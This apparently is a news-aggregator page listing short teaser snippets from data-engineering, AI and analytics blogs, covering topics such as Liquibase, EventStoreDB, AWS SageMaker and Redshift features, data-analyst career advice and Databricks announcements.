AI technology is driving some tremendous changes in digital technology. Many of the developments brought on by AI have been beneficial. However, some of the changes created by AI have been harmful. One of the biggest examples of problems caused by AI is the growing threat of cybersecurity threats. A growing number of hackers are […]

The post 3 Ways AI Has Led to Horrifying Cybersecurity Threats appeared first on SmartData Collective.

3 недели назад @ smartdatacollective.com
Companies Like iMind Use AI for Stellar Video Conferencing Services
Companies Like iMind Use AI for Stellar Video Conferencing Services

Big data and AI technology has led to some major breakthroughs in online video technology. Irwin Lazar, president and principle analyst at Metrigy Research, writes that AI has opened a ton of new doors for video streaming technology. AI technology can help improve the user experience and capture information during meetings more easily. “AI initiatives […]

The post Companies Like iMind Use AI for Stellar Video Conferencing Services appeared first on SmartData Collective.

3 недели, 1 день назад @ smartdatacollective.com
Benefits of Hiring Professional Illustrators that Use AI
Benefits of Hiring Professional Illustrators that Use AI

AI technology is changing many fields that were expected to be immune to its touch. The creative design fields were among those that many people assumed would be unaffected by AI. However, AI is clearly changing the artistic profession. The market for NFTs was worth over $41 billion last year. Of course, artists are finding […]

The post Benefits of Hiring Professional Illustrators that Use AI appeared first on SmartData Collective.

3 недели, 6 дней назад @ smartdatacollective.com
New AI Advances Increase User Reach with Advanced Targeting
New AI Advances Increase User Reach with Advanced Targeting

Artificial intelligence has upended the digital marketing profession. A growing number of marketers are using AI to optimize and automate marketing campaigns in fantastic ways. Jason Hall, Founder and CEO of FiveChannels described some of the phenomenal benefits of leveraging AI in digital marketing in a post in Forbes. Hall states that AI hasn’t removed […]

The post New AI Advances Increase User Reach with Advanced Targeting appeared first on SmartData Collective.

4 недели назад @ smartdatacollective.com
Strategies to Make Better Profits for CPAs During Tax Season
Strategies to Make Better Profits for CPAs During Tax Season

As soon as the tax season starts in the US, accounting professionals and CPAs get their hands full, smoothing out tax preparation and filing the subsequent returns. This involves gathering data and organizing documents. Tax filing is an ongoing process that runs throughout the year and has great responsibilities attached to it. When ignored, things […]

The post Strategies to Make Better Profits for CPAs During Tax Season appeared first on SmartData Collective.

4 недели, 1 день назад @ smartdatacollective.com
AI Data, Traditional Trading, and Modern Investments
AI Data, Traditional Trading, and Modern Investments

Artificial intelligence is drastically changing the future of finance. Financial institutions spent over $10.1 billion on AI last year. One of the many ways that AI is being leveraged in finance is by helping improve the experience of investors. Modern investors enjoy a much smoother trading experience than their predecessors. Thanks to the invention of […]

The post AI Data, Traditional Trading, and Modern Investments appeared first on SmartData Collective.

1 месяц назад @ smartdatacollective.com
Knoldus
последний пост 1 день, 9 часов назад
What Is The Difference Between Liquibase and SQL Injection?
What Is The Difference Between Liquibase and SQL Injection?

Reading Time: 4 minutes Liquibase is a database change management system for software developers, DBAs, and data architects. It provides an easy-to-use platform for managing both relational and non-relational databases. Liquibase offers change tracking, versioning, and branching, so you can have multiple versions of your production schema with different changes applied on each branch. SQL Injection SQL injection is a type of attack where the attacker inserts malicious SQL Continue Reading

The post What Is The Difference Between Liquibase and SQL Injection? appeared first on Knoldus Blogs.

1 день, 9 часов назад @ blog.knoldus.com
Flyway vs Liquibase
Flyway vs Liquibase

Reading Time: 2 minutes Introduction There are two open source-based tools for database version control Liquibase and Flyway. These are popular options for organizing database changes and database versioning, deploying changes when they need to be deployed, and tracking what’s been deployed. Those who have ever developed any software will tell you, you shouldn’t develop application code without version control and also same is true for database code. So, Continue Reading

The post Flyway vs Liquibase appeared first on Knoldus Blogs.

1 день, 9 часов назад @ blog.knoldus.com
Event Store installation on Various Platforms
Event Store installation on Various Platforms

Reading Time: 3 minutes Introduction Let’s assume you want to install the Event Store for your next project. What should you do? Here we’ll go over all the different ways EventStore can be installed and give some advice on which one may be best for your situation. Linux To install the Linux version of Event Store, run the following: Here, is the URL for the latest Debian packages: https://packagecloud.io/EventStore/EventStore-OSS Continue Reading

The post Event Store installation on Various Platforms appeared first on Knoldus Blogs.

1 день, 9 часов назад @ blog.knoldus.com
Basic Concepts of EventStoreDB
Basic Concepts of EventStoreDB

Reading Time: 3 minutes Introduction In this article, we will discuss EventStoreDB. EventStoreDB is a database that allows the user to read and store events into fine-grained streams, as well as read all or a subset of events. It is an approach to building applications focused on storing state changes as they occur. First, we’ll look at the core topics like events, event sourcing, and event streams. So let’s Continue Reading

The post Basic Concepts of EventStoreDB appeared first on Knoldus Blogs.

1 день, 9 часов назад @ blog.knoldus.com
Introduction to Liquibase – A Better Database Change Management Tool
Introduction to Liquibase – A Better Database Change Management Tool

Reading Time: 3 minutes Liquibase is a database change operation tool designed to help you manage changes in your colorful databases as you move from development, test, and production env. It works by storing all the changes that have been made to a given database in one file i.e called a changelog. You can also load up the changelog on a new database and apply all of those changes Continue Reading

The post Introduction to Liquibase – A Better Database Change Management Tool appeared first on Knoldus Blogs.

1 день, 10 часов назад @ blog.knoldus.com
Publish and receive messages in Google Cloud Pub/Sub
Publish and receive messages in Google Cloud Pub/Sub

Reading Time: 4 minutes What is Pub/Sub? Cloud Pub/Sub is a message queuing service that allows you to exchange messages between applications and microservices. It’s a scalable, durable, and highly available message-passing system that helps you build event-driven architectures. In this tutorial, we will show you how to use the Google Cloud console to publish and receive messages in Cloud Pub/Sub. We will also provide some tips on how Continue Reading

The post Publish and receive messages in Google Cloud Pub/Sub appeared first on Knoldus Blogs.

3 дня, 2 часа назад @ blog.knoldus.com
How to run the Docker inside the docker container.
How to run the Docker inside the docker container.

Reading Time: 4 minutes Hello Learner, I am back with another blog related to the docker container. In this blog, we will learn How to run the docker in a docker container. So we will use two different ways to do this task. Docker It is an open platform for developing, shipping, and running applications. Docker enables you to separate your applications from your infrastructure so you can deliver Continue Reading

The post How to run the Docker inside the docker container. appeared first on Knoldus Blogs.

3 дня, 3 часа назад @ blog.knoldus.com
Features of Liquibase
Features of Liquibase

Reading Time: 3 minutes With Liquibase, you can specify the database modification you desire using SQL or a number of other database-independent forms, such as XML, YAML, and JSON. It is incredibly simple for developers to submit updates to many database types by abstracting the database logic. How does Liquibase work? The changeLog file is how Liquibase functions most frequently. One or more changeSets are contained in this text Continue Reading

The post Features of Liquibase appeared first on Knoldus Blogs.

3 дня, 3 часа назад @ blog.knoldus.com
D3.js Bar Chart: Build Interactive JavaScript Charts and Graphs
D3.js Bar Chart: Build Interactive JavaScript Charts and Graphs

Reading Time: 7 minutes Recently, we had the pleasure to participate in a machine-learning project that involved libraries like React and D3.js. Among many tasks, I developed a few d3 bar charts and line charts that helped to process the result of ML models like Naive Bayes. In this article, I would like to present my progress with D3.js so far and show the basic usage of this javascript Continue Reading

The post D3.js Bar Chart: Build Interactive JavaScript Charts and Graphs appeared first on Knoldus Blogs.

3 дня, 4 часа назад @ blog.knoldus.com
Groovy CRUD Web App Using Micronaut
Groovy CRUD Web App Using Micronaut

Reading Time: 3 minutes 1. About 1.1 Introduction Micronaut is an open-source JVM-based software framework for building lightweight, modular applications and microservices. It helps to create microservices with small memory footprints and quick startup time. 2. Use Case Let’s take a use case. We are going to create a web app with the help of Groovy and Micronaut to perform CRUD operations. For that, we have to implement the CRUD Continue Reading

The post Groovy CRUD Web App Using Micronaut appeared first on Knoldus Blogs.

6 дней, 10 часов назад @ blog.knoldus.com
Managing database schema with Liquibase
Managing database schema with Liquibase

Reading Time: 3 minutes What is Liquibase? First, Liquibase is an open-source database schema change management tool that makes it simple for you to handle database change revisions. How Does Liquibase Work? Regardless of your database platform, changes are defined in a platform-neutral language. In essence, you maintain a running list of modifications. And, Liquibase uses its execution engine to make those modifications for you. It requires the appropriate Continue Reading

The post Managing database schema with Liquibase appeared first on Knoldus Blogs.

1 неделя назад @ blog.knoldus.com
Artificial Intelligence & MarkLogic: An Wonderful Architecture
Artificial Intelligence & MarkLogic: An Wonderful Architecture

Reading Time: 3 minutes Introduction Automation is a crucial part of the Artificial Intelligence cycle. It allows organizations to perform tasks that require human input and improves tradecraft. This also increases efficiency in order to keep pace with changing technologies and requirements. And MarkLogic is providing some extra benefits in implementing AI processes. MarkLogic has its own optimized algorithms and implementations of some AI methodologies. Achieved due to its Continue Reading

The post Artificial Intelligence & MarkLogic: An Wonderful Architecture appeared first on Knoldus Blogs.

1 неделя, 3 дня назад @ blog.knoldus.com
Features of EventStoreDB
Features of EventStoreDB

Reading Time: 4 minutes Introduction EventStoreDB is an Event-Specific Database. You may save each state change as a distinct event, in a contrast to state-oriented databases that simply keep the most recent version of the entity state. List of Features of EventStoreDB EventStreams Stream MetaData, Reserved Names and Event MetaData Stream MetaData In EventStoreDB, every stream has a corresponding metadata stream that contains a prefix of “$$”, for example, Continue Reading

The post Features of EventStoreDB appeared first on Knoldus Blogs.

1 неделя, 6 дней назад @ blog.knoldus.com
EventStoreDB And Its Basic Concepts
EventStoreDB And Its Basic Concepts

Reading Time: 3 minutes Introduction EventStoreDB is a database that allows users to read and persist events into fine-grained streams while also accessing all or a subset of events. It is a database designed for event sourcing. Its designed from the ground up for Event Sourcing and provides an unequalled solution for developing event-sourced systems. What is an Event, Event Stream, Event Sourcing and EventStoreDB Event An event is Continue Reading

The post EventStoreDB And Its Basic Concepts appeared first on Knoldus Blogs.

1 неделя, 6 дней назад @ blog.knoldus.com
Connecting Kafka With Micronaut
Connecting Kafka With Micronaut

Reading Time: 2 minutes connecting micronaut with kafka

The post Connecting Kafka With Micronaut appeared first on Knoldus Blogs.

1 неделя, 6 дней назад @ blog.knoldus.com
We Cloud Data We Cloud Data
последний пост None
Learn Data Engineering Learn Data Engineering
последний пост None
SCRIBD
последний пост 4 месяца, 1 неделя назад
Data and AI Summit Wrap-up
Data and AI Summit Wrap-up Data and AI Summit Wrap-up

We brought a whole team to San Francisco to present and attend this year’s Data and

AI Summit, and it was a blast! I

would consider the event a success both in the attendance to the Scribd hosted

talks and the number of talks which discussed patterns we have adopted in our

own data and ML platform.

The three talks I wrote about

previously were well received and have

since been posted to YouTube along with hundreds of other talks. Christian Williams shared some of the

work he has done developing

kafka-delta-ingest in his talk: QP Hou, Scribd Emeritus, presented on

his foundational work to ensure correctness within delta-rs during his session: R Tyler Croy co-presented with Gavin

Edgley from …

4 месяца, 1 неделя назад @ tech.scribd.com
Databricks Serverless
Databricks Serverless

layout: post

title: “Accelerating Looker with Databricks SQL Serverless”

tags: looker

databricks

featured

team: Core Platform

author: hamiltonh

—- We recently migrated Looker to a Databricks SQL Serverless, improving our

infrastructure cost and reducing the footprint of infrastructure we need to

worry about! “Databricks SQL” which provides a single load balanced Endpoint

for executing Spark SQL queries across multiple Spark clusters behind the

scenes. “Serverless” is an evolution of that concept, rather than running a SQL

Endpoint in our AWS infrastructure, the entirety of execution happens on the

Databricks side. With a much simpler and faster interface, queries executed in

Looker now retu…

5 месяцев назад @ tech.scribd.com
Scribd is presenting at Data and AI Summit 2022
Scribd is presenting at Data and AI Summit 2022

We are very excited to be presenting and attending this year’s Data and AI

Summit which will be

hosted virtually and physically in San Francisco from June 27th-30th.

Throughout the course of 2021 we completed a number of really interesting

projects built around delta-rs and the

Databricks platform which we are thrilled to share with a broader audience.

In addition to the presentations listed below, a number of Scribd engineers who

are responsible for data and ML platform, machine learning systems, and more,

will be in attendance if you want to meet up and learn more about how Scribd

uses data and ML to change the way the world reads! Christian Williams will be sharing some of the

work he ha…

7 месяцев, 1 неделя назад @ tech.scribd.com
Jesse Anderson Jesse Anderson
последний пост 2 недели, 1 день назад
Data Quest
последний пост 2 недели, 2 дня назад
How to Become a Data Analyst
How to Become a Data Analyst

Since data is such an essential aspect of business intelligence, data analysts are very much in demand — and this trend is only increasing! The job is key for many types of projects, such as analyzing market trends or collecting data for political polls. If you want to learn to become a data analyst, you’re […]

2 недели, 2 дня назад @ dataquest.io
Top 20 Job Interview Questions and Answers for Business Analysts (2022)
Top 20 Job Interview Questions and Answers for Business Analysts (2022)

In this article, we’re sharing the 25 most common business analyst interview questions and answers that you could encounter during a job interview. Being ready for these questions can not only help you prepare for and feel more comfortable in an interview for a business analyst role, it can also identify the gaps you may […]

2 месяца, 1 неделя назад @ dataquest.io
Data Analytics Certifications: Do You Really Need One in 2022?
Data Analytics Certifications: Do You Really Need One in 2022?

Do I need a data analytics certificate? If you’re set on becoming a data analyst, you’ve no doubt asked yourself this question more than once. And you’re not alone. Even so, getting a straight answer about required certifications for data analysts is tricky. Why? Because there are dozens of companies offering data analytics certificates online. […]

2 месяца, 3 недели назад @ dataquest.io
Learn Data Journalism: Avoid My 3 Colossal Mistakes
Learn Data Journalism: Avoid My 3 Colossal Mistakes

Becoming a data journalist and learning to code isn't as difficult as you might think, but you have to approach it in the right way to avoid common mistakes.

3 месяца назад @ dataquest.io
How to Find an Entry-Level Job in Data Science
How to Find an Entry-Level Job in Data Science

You don’t have to be a data science veteran to find success in the field. Just ask NASA Datanaut Alyssa Columbus. Although she graduated from college earlier this year, Alyssa already has a full-time data scientist role at Pacific Life. She also boasts a laundry list of speaking engagements and has founded a local group […]

3 месяца назад @ dataquest.io
Are SQL Certifications Worth It? (We Asked 15 Hiring Managers)
Are SQL Certifications Worth It? (We Asked 15 Hiring Managers)

Want to work in data? Then you might be wondering: Do I need a SQL certification to qualify for a data job? The answer to this question can be confusing. To start, various SQL certification programs will make it seem like having a certificate is paramount to getting a data job. Also, some “experts” will […]

3 месяца назад @ dataquest.io
Is a Power BI Certification Worth It (in 2022)?
Is a Power BI Certification Worth It (in 2022)?

Microsoft Power BI is the application of choice when it comes to business analysis. So, do you need a certification to work in this field? Microsoft Power BI is one of the top business intelligence and data analytics platforms in the world. If you’re an aspiring business analyst, you will almost certainly cross paths with […]

3 месяца, 1 неделя назад @ dataquest.io
Why Learn SQL in 2022 (Analyzing Real Job Data)
Why Learn SQL in 2022 (Analyzing Real Job Data)

Learning SQL might not be as "sexy" as learning Python or R, but it's a fundamental skill for almost every data scientist and data analyst job. Here's why.

3 месяца, 3 недели назад @ dataquest.io
How to Become a Data Scientist (Step-by-Step) in 2022
How to Become a Data Scientist (Step-by-Step) in 2022

Data scientists are in extreme demand, and for good reason — data scientists are doing everything from creating self-driving cars to automatically captioning images. If you want to know how to become a data scientist, then you’re in the right place. I’ve been where you are, and now I want to help. A decade ago, […]

3 месяца, 3 недели назад @ dataquest.io
10 Great Portfolio Projects for Business Analysis (2022)
10 Great Portfolio Projects for Business Analysis (2022)

You need a portfolio of relevant projects if you want to get a job as a business analyst. Why? There are at least two valid reasons: Creating business analyst projects is an excellent way to practice your skills. Doing different exercises is good, but building an end-to-end project lets you apply various skills to solve […]

3 месяца, 3 недели назад @ dataquest.io
The Business Analyst Job Description (2022 Version)
The Business Analyst Job Description (2022 Version)

Without great insights, a business cannot succeed. Period. That’s where business analysis comes in. Business analysts help organizations determine which strategies do and don’t work. The BA is responsible for assessing business needs and making recommendations to improve operations. Although the purpose of this job is quite clear, it can be tricky to pin down […]

4 месяца назад @ dataquest.io
Python Certification: Is It Worth It in 2022?
Python Certification: Is It Worth It in 2022?

What’s the best Python certificate to get? Python certifications can cost up to thousands of dollars. Are they worth your time?

4 месяца, 3 недели назад @ dataquest.io
Python vs. Anaconda Programming — What’s the Difference?
Python vs. Anaconda Programming — What’s the Difference?

Python is a programming language — Anaconda is a bundle of Python, other languages, and data science tools. Here’s what you need to know about the two. Python is a multi-purpose programming language that is used universally, from machine learning to website building. It uses pip (a reverse acronym for "Pip Installs Packages" or "Pip […]

4 месяца, 3 недели назад @ dataquest.io
11 High-Paying Data Analytics Jobs (July 2022)
11 High-Paying Data Analytics Jobs (July 2022)

Thinking about kickstarting a career in data analytics? These 10 high-paying jobs may just be the motivation you need to learn more about the data science industry and gain the specific skills you need to succeed.

5 месяцев назад @ dataquest.io
8 Vital Data Analyst Skills Employers Need to See
8 Vital Data Analyst Skills Employers Need to See

What are 5 real-world tasks that cover most of the skills someone needs to be hired as a data analyst?

5 месяцев, 1 неделя назад @ dataquest.io
Infrastructure
AWS
последний пост 2 часа назад
Protecting Consumers and Promoting Innovation – AI Regulation and Building Trust in Responsible AI
Protecting Consumers and Promoting Innovation – AI Regulation and Building Trust in Responsible AI

Artificial intelligence (AI) is one of the most transformational technologies of our generation and provides huge opportunities to be a force for good and drive economic growth. It can help scientists cure terminal diseases, engineers build inconceivable structures, and farmers yield more crops. AI allows us to make sense of our world as never before—and […]

2 часа назад @ aws.amazon.com
Introducing the Cloud Shuffle Storage Plugin for Apache Spark
Introducing the Cloud Shuffle Storage Plugin for Apache Spark

AWS Glue is a serverless data integration service that makes it easy to discover, prepare, and combine data for analytics, machine learning (ML), and application development. In AWS Glue, you can use Apache Spark, an open-source, distributed processing system for your data integration tasks and big data workloads. Apache Spark utilizes in-memory caching and optimized […]

19 часов назад @ aws.amazon.com
Stability AI builds foundation models on Amazon SageMaker
Stability AI builds foundation models on Amazon SageMaker

We’re thrilled to announce that Stability AI has selected AWS as its preferred cloud provider to power its state-of-the-art AI models for image, language, audio, video, and 3D content generation. Stability AI is a community-driven, open-source artificial intelligence (AI) company developing breakthrough technologies. With Amazon SageMaker, Stability AI will build AI models on compute clusters […]

19 часов назад @ aws.amazon.com
Journey to adopt Cloud-Native DevOps platform Series #1: OfferUp modernized DevOps platform with Amazon EKS and Flagger to accelerate time to market
Journey to adopt Cloud-Native DevOps platform Series #1: OfferUp modernized DevOps platform with Amazon EKS and Flagger to accelerate time to market

In this two part series, we discuss the challenges faced by OfferUp, a Digital Native customer, to meet business growth and time-to-market. Their journey involved modernizing their existing DevOps platform, from the traditional monolith virtual machine (VM) based architecture to modern containerized architecture and running cloud-native applications for secured progressive delivery to accelerate time to […]

19 часов назад @ aws.amazon.com
Centrally manage access and permissions for Amazon Redshift data sharing with AWS Lake Formation
Centrally manage access and permissions for Amazon Redshift data sharing with AWS Lake Formation

Today’s global, data-driven organizations treat data as an asset and use it across different lines of business (LOBs) to drive timely insights and better business decisions. Amazon Redshift data sharing allows you to securely share live, transactionally consistent data in one Amazon Redshift data warehouse with another Amazon Redshift data warehouse within the same AWS […]

20 часов назад @ aws.amazon.com
Data: The genesis for modern invention
Data: The genesis for modern invention

It only takes one groundbreaking invention—one iconic idea that solves a widespread pain point for customers—to create or transform an industry forever. From the invention of the telegraph, to the discovery of GPS, to the earliest cloud computing services, history is filled with examples of these “eureka” moments that continue to have long-lasting impacts on […]

20 часов назад @ aws.amazon.com
Launch Amazon SageMaker Autopilot experiments directly from within Amazon SageMaker Pipelines to easily automate MLOps workflows
Launch Amazon SageMaker Autopilot experiments directly from within Amazon SageMaker Pipelines to easily automate MLOps workflows

Amazon SageMaker Autopilot, a low-code machine learning (ML) service that automatically builds, trains, and tunes the best ML models based on tabular data, is now integrated with Amazon SageMaker Pipelines, the first purpose-built continuous integration and continuous delivery (CI/CD) service for ML. This enables the automation of an end-to-end flow of building ML models using […]

21 час назад @ aws.amazon.com
Log analytics the easy way with Amazon OpenSearch Serverless
Log analytics the easy way with Amazon OpenSearch Serverless

We recently announced the preview release of Amazon OpenSearch Serverless, a new serverless option for Amazon OpenSearch Service, which makes it easy for you to run large-scale search and analytics workloads without having to configure, manage, or scale OpenSearch clusters. It automatically provisions and scales the underlying resources to deliver fast data ingestion and query […]

21 час назад @ aws.amazon.com
AI21 Jurassic-1 foundation model is now available on Amazon SageMaker
AI21 Jurassic-1 foundation model is now available on Amazon SageMaker

Today we are excited to announce that AI21 Jurassic-1 (J1) foundation models are available for customers using Amazon SageMaker. Jurassic-1 models are highly versatile, capable of both human-like text generation, as well as solving complex tasks such as question answering, text classification, and many others. You can easily try out this model and use it […]

21 час назад @ aws.amazon.com
Introducing AWS AI Service Cards: A new resource to enhance transparency and advance responsible AI
Introducing AWS AI Service Cards: A new resource to enhance transparency and advance responsible AI

Artificial intelligence (AI) and machine learning (ML) are some of the most transformative technologies we will encounter in our generation—to tackle business and societal problems, improve customer experiences, and spur innovation. Along with the widespread use and growing scale of AI comes the recognition that we must all build responsibly. At AWS, we think responsible […]

22 часа назад @ aws.amazon.com
Simplify managing access to Amazon ElastiCache for Redis clusters with IAM
Simplify managing access to Amazon ElastiCache for Redis clusters with IAM

Amazon ElastiCache for Redis is a fully managed, Redis-compatible, in-memory caching service that provides microsecond speed to support real-time applications. ElastiCache for Redis combines the speed, simplicity, and versatility of open-source Redis with the reliability, scalability, manageability, and security from AWS to power the most demanding real-time applications in media and entertainment, financial services, ecommerce, AdTech, […]

1 день, 21 час назад @ aws.amazon.com
New analytical questions available in Amazon QuickSight Q: “Why” and “Forecast”
New analytical questions available in Amazon QuickSight Q: “Why” and “Forecast”

Amazon QuickSight Q uses machine learning (ML) to enable any user to ask questions about business data in natural language and receive accurate answers with relevant visualizations in seconds. Today, Amazon QuickSight announces support for two new question types that simplify and scale complex analytical tasks using natural language: “forecast” and “why.” In this post, […]

1 день, 23 часа назад @ aws.amazon.com
AWS Unveils New AI Service Features and Enhancements at re:Invent 2022
AWS Unveils New AI Service Features and Enhancements at re:Invent 2022

Over the last 5 years, artificial intelligence (AI) and machine learning (ML) have evolved from a niche activity to a rapidly growing mainstream endeavor. Today, more than 100,000 customers across numerous industries rely on AWS for ML and AI initiatives that infuse AI into a broad range of business use cases to automate repetitive and […]

2 дня, 14 часов назад @ aws.amazon.com
Simplify data loading on the Amazon Redshift console with Informatica Data Loader
Simplify data loading on the Amazon Redshift console with Informatica Data Loader

Amazon Redshift is the fastest, most widely used, fully managed, petabyte-scale cloud data warehouse. Tens of thousands of customers use Amazon Redshift to process exabytes of data every day to power their analytics workloads. Data engineers, data analysts, and data scientists want to use this data to power analytics workloads such as business intelligence (BI), […]

2 дня, 20 часов назад @ aws.amazon.com
Run queries concurrently and see query history using Amazon Redshift Query Editor v2
Run queries concurrently and see query history using Amazon Redshift Query Editor v2

Amazon Redshift is a fast, fully managed, petabyte-scale cloud data warehouse. You have the flexibility to choose from provisioned and serverless compute modes. You can start loading and querying large datasets conveniently in Amazon Redshift using Amazon Redshift Query Editor v2, a web-based SQL client application. Query Editor v2 empowers your technical and business teams […]

2 дня, 21 час назад @ aws.amazon.com
AWS
последний пост 2 часа назад
Create advanced insights using level-aware calculations in Amazon QuickSight
Create advanced insights using level-aware calculations in Amazon QuickSight

Calculation at the right granularity always needs to be handled carefully when performing data analytics. Especially when data is generated through joining across multiple tables, the denormalization of datasets can add a lot of complications to make accurate calculations challenging. Amazon QuickSight recently launched a new functionality called level-aware calculations (LAC), which enables you to […]

2 дня, 21 час назад @ aws.amazon.com
BloomIP Automatically Identifies production issues with Amazon DevOps Guru
BloomIP Automatically Identifies production issues with Amazon DevOps Guru

Operational excellence is critical for BloomIP’s customers. In this post, you will see how we built a solution to automate the detection of trends and issues in production workloads by implementing Amazon DevOps Guru for our clients. BloomIP ensures your business is ready for what’s ahead, with security, scalability, performance, and cost control. We are […]

2 дня, 21 час назад @ aws.amazon.com
Scale AWS SDK for pandas workloads with AWS Glue for Ray
Scale AWS SDK for pandas workloads with AWS Glue for Ray

AWS SDK for pandas is an open-source library that extends the popular Python pandas library, enabling you to connect to AWS data and analytics services using pandas data frames. We’ve seen customers use the library in combination with pandas for both data engineering and AI workloads. Although pandas data frames are simple to use, they […]

2 дня, 21 час назад @ aws.amazon.com
Deploy an MLOps solution that hosts your model endpoints in AWS Lambda
Deploy an MLOps solution that hosts your model endpoints in AWS Lambda

In 2019, Amazon co-founded the climate pledge. The pledge’s goal is to achieve net zero carbon by 2040. This is 10 years earlier than the Paris agreement outlines. Companies who sign up are committed to regular reporting, carbon elimination, and credible offsets. At the time of this writing, 377 companies have signed the climate pledge, […]

2 дня, 23 часа назад @ aws.amazon.com
Introducing AWS Glue for Ray: Scaling your data integration workloads using Python
Introducing AWS Glue for Ray: Scaling your data integration workloads using Python

AWS Glue is a serverless data integration service that makes it simple to discover, prepare, move, and integrate data from multiple sources for analytics, machine learning (ML), and application development. Today, AWS Glue processes customer jobs using either Apache Spark’s distributed processing engine for large workloads or Python’s single-node processing engine for smaller workloads. Customers […]

2 дня, 23 часа назад @ aws.amazon.com
Introducing Amazon Kendra tabular search for HTML Documents
Introducing Amazon Kendra tabular search for HTML Documents

Amazon Kendra is an intelligent search service powered by machine learning (ML). Kendra reimagines enterprise search for your websites and applications so your employees and customers can easily find the content they’re looking for, even when it’s scattered across multiple locations and content repositories within your organization. Amazon Kendra users can now quickly find the […]

3 дня, 10 часов назад @ aws.amazon.com
Enterprise administrative controls, simple sign-up, and expanded programming language support for Amazon CodeWhisperer
Enterprise administrative controls, simple sign-up, and expanded programming language support for Amazon CodeWhisperer

Amazon CodeWhisperer is a machine learning (ML)-powered service that helps improve developer productivity by generating code recommendations based on developers’ prior code and comments. Today, we are excited to announce that AWS administrators can now enable CodeWhisperer for their organization with single sign-n (SSO) authentication. Administrators can easily integrate CodeWhisperer with their existing workforce identity […]

3 дня, 11 часов назад @ aws.amazon.com
Optimize hyperparameters with Amazon SageMaker Automatic Model Tuning
Optimize hyperparameters with Amazon SageMaker Automatic Model Tuning

Machine learning (ML) models are taking the world by storm. Their performance relies on using the right training data and choosing the right model and algorithm. But it doesn’t end here. Typically, algorithms defer some design decisions to the ML practitioner to adopt for their specific data and task. These deferred design decisions manifest themselves […]

6 дней назад @ aws.amazon.com
Lower your Amazon OpenSearch Service storage cost with gp3 Amazon EBS volumes
Lower your Amazon OpenSearch Service storage cost with gp3 Amazon EBS volumes

Amazon OpenSearch Service makes it easy for you to perform interactive log analytics, real-time application monitoring, website search, and more. OpenSearch is an open-source, distributed search and analytics suite comprising OpenSearch, a distributed search and analytics engine, and OpenSearch Dashboards, a UI and visualization tool. When you use Amazon OpenSearch Service, you configure a set […]

1 неделя назад @ aws.amazon.com
How JPMorgan Chase & Co. uses AWS DeepRacer events to drive global cloud adoption
How JPMorgan Chase & Co. uses AWS DeepRacer events to drive global cloud adoption

This is a guest post by Stephen Carrad, Vice President at JP Morgan Chase & Co. JPMorgan & Chase Co. started its cloud journey four years ago, building the integrations required to deploy cloud-native applications into the cloud in a resilient and secure manner. In the first year, three applications tentatively dipped their toes into […]

1 неделя назад @ aws.amazon.com
Apply fine-grained data access controls with AWS Lake Formation and Amazon EMR from Amazon SageMaker Studio
Apply fine-grained data access controls with AWS Lake Formation and Amazon EMR from Amazon SageMaker Studio

Amazon SageMaker Studio is a fully integrated development environment (IDE) for machine learning (ML) that enables data scientists and developers to perform every step of the ML workflow, from preparing data to building, training, tuning, and deploying models. Studio comes with built-in integration with Amazon EMR so that data scientists can interactively prepare data at […]

1 неделя назад @ aws.amazon.com
Create small multiples in Amazon QuickSight
Create small multiples in Amazon QuickSight

We’re excited to announce the launch of small multiples in Amazon QuickSight at AWS re:Invent 2022! Small multiples is one of the most powerful data visualization features when it comes to comparative analysis. Previously, you had to either use a filter or create multiple visuals side by side to analyze multiples slices of the same […]

1 неделя назад @ aws.amazon.com
Add text boxes to your Amazon QuickSight analysis
Add text boxes to your Amazon QuickSight analysis

We are excited to announce the launch of text boxes in Amazon QuickSight. Now you can add text for common use cases, including but not limited to titles, subtitles, annotations, adding additional information for KPIs etc has been simplified than ever before with the new text box. You can reposition, resize, and make your text […]

1 неделя назад @ aws.amazon.com
New line chart customization options in Amazon QuickSight
New line chart customization options in Amazon QuickSight

Amazon QuickSight is a serverless, cloud-based business intelligence (BI) service that brings data insights to your teams and end-users through machine learning (ML)-powered dashboards and data visualizations that can be accessed via QuickSight or embedded in apps and portals that your users access. Line charts in QuickSight have undergone a major overhaul this year, starting […]

1 неделя назад @ aws.amazon.com
Load RDF data into Amazon Neptune with AWS Glue
Load RDF data into Amazon Neptune with AWS Glue

In this post, we present a design for a common technical requirement: ingest data from multiple sources to a target Resource Description Framework (RDF) graph database. Our target is Amazon Neptune, a managed graph database service. RDF is one of two graph models supported by Neptune. The other is Labeled Property Graph (LPG). Each graph […]

1 неделя назад @ aws.amazon.com
Astronomer Astronomer
последний пост None
FiveTran FiveTran
последний пост None
DataBricks
последний пост 3 месяца, 1 неделя назад
Restricting Libraries in JVM Compute Platforms
Restricting Libraries in JVM Compute Platforms

Security challenges with Scala and Java libraries Open source communities have built incredibly useful libraries. They simplify many common development scenarios. Through our…

The post Restricting Libraries in JVM Compute Platforms appeared first on Databricks.

3 месяца, 1 неделя назад @ databricks.com
Databricks Expands Brickbuilder Solutions for Healthcare and Life Sciences
Databricks Expands Brickbuilder Solutions for Healthcare and Life Sciences Databricks Expands Brickbuilder Solutions for Healthcare and Life Sciences

Today, we’re excited to announce that Databricks has collaborated with Avanade, Deloitte, and ZS to expand Brickbuilder Solutions for healthcare and life sciences.…

The post Databricks Expands Brickbuilder Solutions for Healthcare and Life Sciences appeared first on Databricks.

3 месяца, 1 неделя назад @ databricks.com
Parsing Improperly Formatted JSON Objects in the Databricks Lakehouse
Parsing Improperly Formatted JSON Objects in the Databricks Lakehouse Parsing Improperly Formatted JSON Objects in the Databricks Lakehouse

Introduction When working with files, there may be processes generated by custom APIs or applications that cause more than one JSON object to…

The post Parsing Improperly Formatted JSON Objects in the Databricks Lakehouse appeared first on Databricks.

3 месяца, 3 недели назад @ databricks.com
Optimizing Order Picking to Increase Omnichannel Profitability with Databricks
Optimizing Order Picking to Increase Omnichannel Profitability with Databricks Optimizing Order Picking to Increase Omnichannel Profitability with Databricks

Check our new Order Picking Optimization Solution Accelerator for more details and to download the notebooks. Demand for buy-online pickup in-store (BOPIS), curbside…

The post Optimizing Order Picking to Increase Omnichannel Profitability with Databricks appeared first on Databricks.

3 месяца, 4 недели назад @ databricks.com
Optimizing Order Picking to Increase Omnichannel Profitability with Databricks
Optimizing Order Picking to Increase Omnichannel Profitability with Databricks Optimizing Order Picking to Increase Omnichannel Profitability with Databricks

Check our new Order Picking Optimization Solution Accelerator for more details and to download the notebooks. Demand for buy-online pickup in-store (BOPIS), curbside…

The post Optimizing Order Picking to Increase Omnichannel Profitability with Databricks appeared first on Databricks.

3 месяца, 4 недели назад @ databricks.com
